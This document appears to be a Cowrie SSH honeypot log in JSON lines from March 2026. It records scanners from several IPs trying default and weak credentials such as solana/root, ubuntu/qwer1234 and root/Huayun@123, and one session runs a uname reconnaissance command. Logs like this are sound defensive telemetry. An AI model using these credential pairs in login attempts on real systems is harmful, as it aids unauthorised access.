{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:32:24.461717Z","src_ip":"195.178.110.218","session":"c7aca2508df1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"filecoin","password":"admin","message":"login attempt [filecoin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:32:24.477512Z","src_ip":"92.118.39.92","session":"9ea804662e65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:32:24.541378Z","src_ip":"195.178.110.218","session":"c7aca2508df1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:32:24.780697Z","src_ip":"195.178.110.218","session":"c7aca2508df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:32:25.585194Z","src_ip":"92.118.39.92","session":"9ea804662e65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:32:25.861730Z","src_ip":"195.178.110.218","session":"c7aca2508df1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":57748,"dst_ip":"159.203.135.109","dst_port":22,"session":"4db95edc486d","protocol":"ssh","message":"New connection: 2.57.122.208:57748 (159.203.135.109:22) [session: 4db95edc486d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:32:51.279583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:32:51.444440Z","src_ip":"2.57.122.208","session":"4db95edc486d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:32:51.447695Z","src_ip":"2.57.122.208","session":"4db95edc486d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:32:52.462698Z","src_ip":"2.57.122.208","session":"4db95edc486d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:32:53.618757Z","src_ip":"2.57.122.208","session":"4db95edc486d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.98","src_port":34182,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8994110a2d1","protocol":"ssh","message":"New connection: 157.10.160.98:34182 (159.203.135.109:22) [session: c8994110a2d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:33:25.121557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:33:25.125964Z","src_ip":"157.10.160.98","session":"c8994110a2d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:33:25.379196Z","src_ip":"157.10.160.98","session":"c8994110a2d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user123","message":"login attempt [user3/user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:33:26.431468Z","src_ip":"157.10.160.98","session":"c8994110a2d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:33:28.006928Z","src_ip":"157.10.160.98","session":"c8994110a2d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":56176,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e8abeb9fd8f","protocol":"ssh","message":"New connection: 14.225.2.125:56176 (159.203.135.109:22) [session: 0e8abeb9fd8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:05.601873Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:05.878348Z","src_ip":"14.225.2.125","session":"0e8abeb9fd8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":56188,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e20dae0207d","protocol":"ssh","message":"New connection: 14.225.2.125:56188 (159.203.135.109:22) [session: 1e20dae0207d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:06.132129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:06.136833Z","src_ip":"14.225.2.125","session":"1e20dae0207d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:06.396988Z","src_ip":"14.225.2.125","session":"1e20dae0207d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Huayun@123","message":"login attempt [root/Huayun@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:07.178082Z","src_ip":"14.225.2.125","session":"1e20dae0207d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:07.739008Z","src_ip":"14.225.2.125","session":"1e20dae0207d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:07.742535Z","src_ip":"14.225.2.125","session":"1e20dae0207d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:08.006199Z","src_ip":"14.225.2.125","session":"1e20dae0207d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:08.010547Z","src_ip":"14.225.2.125","session":"1e20dae0207d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":50708,"dst_ip":"10.17.0.5","dst_port":22,"session":"8aac38219e27","protocol":"ssh","message":"New connection: 80.94.92.184:50708 (10.17.0.5:22) [session: 8aac38219e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:31.700708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:31.788672Z","src_ip":"80.94.92.184","session":"8aac38219e27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:31.907935Z","src_ip":"80.94.92.184","session":"8aac38219e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:32.863837Z","src_ip":"80.94.92.184","session":"8aac38219e27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:34.068347Z","src_ip":"80.94.92.184","session":"8aac38219e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":56274,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1c699fcc23c","protocol":"ssh","message":"New connection: 92.118.39.92:56274 (159.203.135.109:22) [session: a1c699fcc23c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:37.023228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:37.034320Z","src_ip":"92.118.39.92","session":"a1c699fcc23c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:37.136943Z","src_ip":"92.118.39.92","session":"a1c699fcc23c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lotus","password":"admin","message":"login attempt [lotus/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:37.540193Z","src_ip":"92.118.39.92","session":"a1c699fcc23c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:34:38.683655Z","src_ip":"92.118.39.92","session":"a1c699fcc23c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":54748,"dst_ip":"10.17.0.5","dst_port":22,"session":"344d5b522069","protocol":"ssh","message":"New connection: 195.178.110.218:54748 (10.17.0.5:22) [session: 344d5b522069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:35:03.438908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:35:03.444449Z","src_ip":"195.178.110.218","session":"344d5b522069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:35:03.524174Z","src_ip":"195.178.110.218","session":"344d5b522069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:35:03.765062Z","src_ip":"195.178.110.218","session":"344d5b522069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:35:04.846292Z","src_ip":"195.178.110.218","session":"344d5b522069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38688,"dst_ip":"159.203.135.109","dst_port":22,"session":"c52404a74618","protocol":"ssh","message":"New connection: 2.57.122.208:38688 (159.203.135.109:22) [session: c52404a74618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:35:12.676047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:35:12.681847Z","src_ip":"2.57.122.208","session":"c52404a74618","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:35:12.778059Z","src_ip":"2.57.122.208","session":"c52404a74618","protocol":"ssh"}
